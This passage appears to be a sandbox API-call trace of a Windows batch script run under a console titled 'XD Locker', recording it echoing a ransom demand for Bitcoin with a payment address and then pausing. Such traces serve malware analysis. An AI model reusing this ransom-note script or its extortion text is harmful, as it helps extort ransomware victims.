lpDistanceToMoveHigh=0x0) returned 0x1895 [0040.469] GetProcessHeap () returned 0x4e0000 [0040.470] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.470] GetProcessHeap () returned 0x4e0000 [0040.470] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.470] GetProcessHeap () returned 0x4e0000 [0040.470] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.470] GetProcessHeap () returned 0x4e0000 [0040.470] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.470] GetProcessHeap () returned 0x4e0000 [0040.470] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0040.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xd98, lpOverlapped=0x0) returned 1 [0040.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=6328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0040.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 35 [0040.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.470] GetFileType (hFile=0x74) returned 0x1 [0040.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0040.470] GetProcessHeap () returned 0x4e0000 [0040.471] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.471] GetProcessHeap () returned 0x4e0000 [0040.471] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.471] _tell (_FileHandle=3) returned 6328 [0040.471] _close (_FileHandle=3) returned 0 [0040.471] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.471] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.471] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.471] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.471] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.471] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.472] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.472] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.472] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.472] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.472] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.472] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="++++++++++++++++++++++++++++\r\n") returned 30 [0040.472] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.472] GetFileType (hFile=0x7) returned 0x2 [0040.475] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.475] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.475] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.475] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1e) returned 1 [0040.476] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.476] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.476] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.476] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.476] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.476] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.477] SetConsoleInputExeNameW () returned 0x1 [0040.477] GetConsoleOutputCP () returned 0x1b5 [0040.477] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.477] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.477] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.477] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.477] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=6328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0040.477] GetProcessHeap () returned 0x4e0000 [0040.477] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.477] GetProcessHeap () returned 0x4e0000 [0040.477] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.478] GetProcessHeap () returned 0x4e0000 [0040.478] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.478] GetProcessHeap () returned 0x4e0000 [0040.478] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.478] GetProcessHeap () returned 0x4e0000 [0040.478] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0040.478] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xd75, lpOverlapped=0x0) returned 1 [0040.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=6387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0040.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n#\r\n\n\n #\r\n") returned 59 [0040.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.478] GetFileType (hFile=0x74) returned 0x1 [0040.478] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.478] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0040.478] GetProcessHeap () returned 0x4e0000 [0040.478] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.478] GetProcessHeap () returned 0x4e0000 [0040.478] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.479] _tell (_FileHandle=3) returned 6387 [0040.479] _close (_FileHandle=3) returned 0 [0040.479] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.479] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.479] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.479] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.479] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.479] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.479] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.479] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.479] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.480] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.480] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.480] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n") returned 54 [0040.480] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.480] GetFileType (hFile=0x7) returned 0x2 [0040.480] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.480] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.480] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.480] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x36) returned 1 [0040.481] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.481] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.481] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.481] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.481] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.481] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.482] SetConsoleInputExeNameW () returned 0x1 [0040.482] GetConsoleOutputCP () returned 0x1b5 [0040.482] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.482] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.482] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.482] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=6387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0040.482] GetProcessHeap () returned 0x4e0000 [0040.482] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.482] GetProcessHeap () returned 0x4e0000 [0040.482] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.483] GetProcessHeap () returned 0x4e0000 [0040.483] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5018b8 | out: hHeap=0x4e0000) returned 1 [0040.483] GetProcessHeap () returned 0x4e0000 [0040.483] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.483] GetProcessHeap () returned 0x4e0000 [0040.483] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0040.483] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xd3a, lpOverlapped=0x0) returned 1 [0040.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=6389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0040.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nho Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n#\r\n\n\n #\r\n") returned 2 [0040.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.483] GetFileType (hFile=0x74) returned 0x1 [0040.483] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.483] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0040.483] GetProcessHeap () returned 0x4e0000 [0040.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.483] GetProcessHeap () returned 0x4e0000 [0040.483] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.484] _tell (_FileHandle=3) returned 6389 [0040.484] _close (_FileHandle=3) returned 0 [0040.484] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.484] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=6389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0040.484] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0040.484] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xd38, lpOverlapped=0x0) returned 1 [0040.484] SetFilePointer (in: hFile=0x74, lDistanceToMove=6423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0040.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=34, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo Ur183IenOeJVZX5OeBMewJn55Lo\r\nitcoin to this address:\r\n#\r\n\n\n #\r\n") returned 34 [0040.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.485] GetFileType (hFile=0x74) returned 0x1 [0040.485] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.485] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0040.485] GetProcessHeap () returned 0x4e0000 [0040.485] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.485] GetProcessHeap () returned 0x4e0000 [0040.485] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.485] _tell (_FileHandle=3) returned 6423 [0040.485] _close (_FileHandle=3) returned 0 [0040.486] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.486] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.486] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.486] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.486] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.486] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.486] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.486] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.486] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.486] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.486] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.486] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="Ur183IenOeJVZX5OeBMewJn55Lo\r\n") returned 29 [0040.486] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.486] GetFileType (hFile=0x7) returned 0x2 [0040.486] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.486] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.487] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.487] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1d, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1d) returned 1 [0040.487] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.487] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.487] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.487] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.488] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.488] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.488] SetConsoleInputExeNameW () returned 0x1 [0040.488] GetConsoleOutputCP () returned 0x1b5 [0040.489] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.489] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.489] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.489] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=6423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0040.489] GetProcessHeap () returned 0x4e0000 [0040.489] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.489] GetProcessHeap () returned 0x4e0000 [0040.489] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.489] GetProcessHeap () returned 0x4e0000 [0040.489] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.489] GetProcessHeap () returned 0x4e0000 [0040.489] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.489] GetProcessHeap () returned 0x4e0000 [0040.489] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0040.490] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xd16, lpOverlapped=0x0) returned 1 [0040.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=6430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0040.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="pause\r\n183IenOeJVZX5OeBMewJn55Lo\r\nitcoin to this address:\r\n#\r\n\n\n #\r\n") returned 7 [0040.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.490] GetFileType (hFile=0x74) returned 0x1 [0040.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0040.490] GetProcessHeap () returned 0x4e0000 [0040.490] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.490] GetProcessHeap () returned 0x4e0000 [0040.490] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.491] _tell (_FileHandle=3) returned 6430 [0040.491] _close (_FileHandle=3) returned 0 [0040.491] _wcsicmp (_String1="pause", _String2="DIR") returned 12 [0040.491] _wcsicmp (_String1="pause", _String2="ERASE") returned 11 [0040.491] _wcsicmp (_String1="pause", _String2="DEL") returned 12 [0040.491] _wcsicmp (_String1="pause", _String2="TYPE") returned -4 [0040.491] _wcsicmp (_String1="pause", _String2="COPY") returned 13 [0040.491] _wcsicmp (_String1="pause", _String2="CD") returned 13 [0040.491] _wcsicmp (_String1="pause", _String2="CHDIR") returned 13 [0040.491] _wcsicmp (_String1="pause", _String2="RENAME") returned -2 [0040.491] _wcsicmp (_String1="pause", _String2="REN") returned -2 [0040.491] _wcsicmp (_String1="pause", _String2="ECHO") returned 11 [0040.491] _wcsicmp (_String1="pause", _String2="SET") returned -3 [0040.491] _wcsicmp (_String1="pause", _String2="PAUSE") returned 0 [0040.491] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.492] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0040.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.492] GetFileType (hFile=0x7) returned 0x2 [0040.492] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.492] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f044 | out: lpMode=0x41f044) returned 1 [0040.492] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.492] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x41f078 | out: lpConsoleScreenBufferInfo=0x41f078) returned 1 [0040.493] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x232b, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Press any key to continue . . . ") returned 0x20 [0040.493] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x232b, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41f0b8 | out: lpBuffer="Press any key to continue . . . ") returned 0x20 [0040.493] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x41f09c, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f09c*=0x20) returned 1 [0040.493] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.493] GetFileType (hFile=0x3) returned 0x2 [0040.493] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0040.493] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x41f0bc | out: lpMode=0x41f0bc) returned 1 [0040.494] FlushConsoleInputBuffer (hConsoleInput=0x3) returned 1 [0040.507] _getch ()